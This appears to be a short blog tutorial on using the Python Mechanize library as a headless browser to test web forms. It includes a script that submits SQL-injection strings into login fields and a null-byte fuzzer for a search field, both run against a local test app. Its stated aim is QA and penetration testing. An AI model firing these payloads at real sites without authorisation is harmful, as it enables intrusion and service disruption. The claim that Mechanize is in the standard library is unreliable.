Another module in the Python standard library, is that of Mechanize. Mechanize is a Python headless browser. With Mechanize you can interact with web applications. This could allow for headless verification of functionality (QA) or could be used in Penetration Testing.
Proof of Concept with Python Mechanize
In the following POC, I wrote a little script that interacted with some test web apps I created locally for testing. This could be modified for a variety of different purposes, but here’s one version:
import mechanize ''' Set up of Mechanize to support / fake a real browser ''' mech = mechanize.Browser(factory=mechanize.RobustFactory()) mech.set_handle_robots(False) ua = 'Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 (compatible;)' mech.addheaders = [('User-Agent', ua), ('Accept', '*/*')] # SQL Injection and Fuzz Values: badblood = ["'; or 1=1 email@example.com", "%5C%5C firstname.lastname@example.org", "//email@example.com","%20='"] def formScrape(url): # Initial form finding: mech.open(url) for form in mech.forms(): print form def attackf(url, injection=badblood): for evil in badblood: print "Attempting attack with: " + evil try: mech.open(url) mech.select_form(nr=0) mech.form['j_username'] = evil mech.form['j_password'] = evil mech.submit() for line in mech.response(): print line except: pass attackf('https://127.0.0.1/login')
The Methods Backdown
There are two methods: formScrape() and attackf()
formScrape takes a url as a parameter and uses Mechanize to search it for forms. If it finds one or more forms it simply prints them out.
attackf() also takes a required parameter of a URL, and also an optional parameter of a list. I’m supplying a small list by default, but this could be modified to load a csv file or a dataset of fuzzer values.
In the attackf method I iterate over each value in the bad characters/fuzz list and attempt to pass in those values into the forms’ fields. In this case I have an example form with a username/password for a typical Java App.
Finally I print out the results returned from the form post.
Fuzzing Forms for Data Caps
A typical fuzzer attempts to send data of some size, increase it and try again – repeating the process over and over until a threshold is reached or the application crashes.
The same can be attempted on a web form as well, Below is an example web form fuzzer using Mechanize:
def formFuzzer(url, size=50): buffer=["\x00"] counter = 100 while len(buffer ) <= size: buffer.append("\x00"*counter) counter=counter+200 for evil in buffer: print "Attempting attack with: " + evil try: mech.open(url) mech.select_form(nr=0) mech.form['search'] = evil mech.submit() for line in mech.response(): print line except: pass formFuzzer("https://127.0.0.1/someform",10)
In this example, a buffer of null bytes is created based upon a size (option parameter) that is supplied. This creates an array of various sizes of nullbytes and then below that, this array is iterated over to send those different sizes into the form.
Instead of null bytes, it could be anything, such as a single character.
Making it Useful
To make these tests useful, tail the log files on the server you’re testing. Verify that the conditions are handled correctly. In some cases web applications can correctly handle the front end, but the back end might introduce an infinite loop. Watch for these in the error logs… as even if the XSS or SQL Injection code blocks bad POST’s into the database, you might trigger an inadvertent infinite loop in the error logs – which could bring down a server once the disk space is fully consumed.
These simple PoC’s can be modified for testing web applications with Python – by observing the resulting behavior on your web application you can better spot and prevent future problems.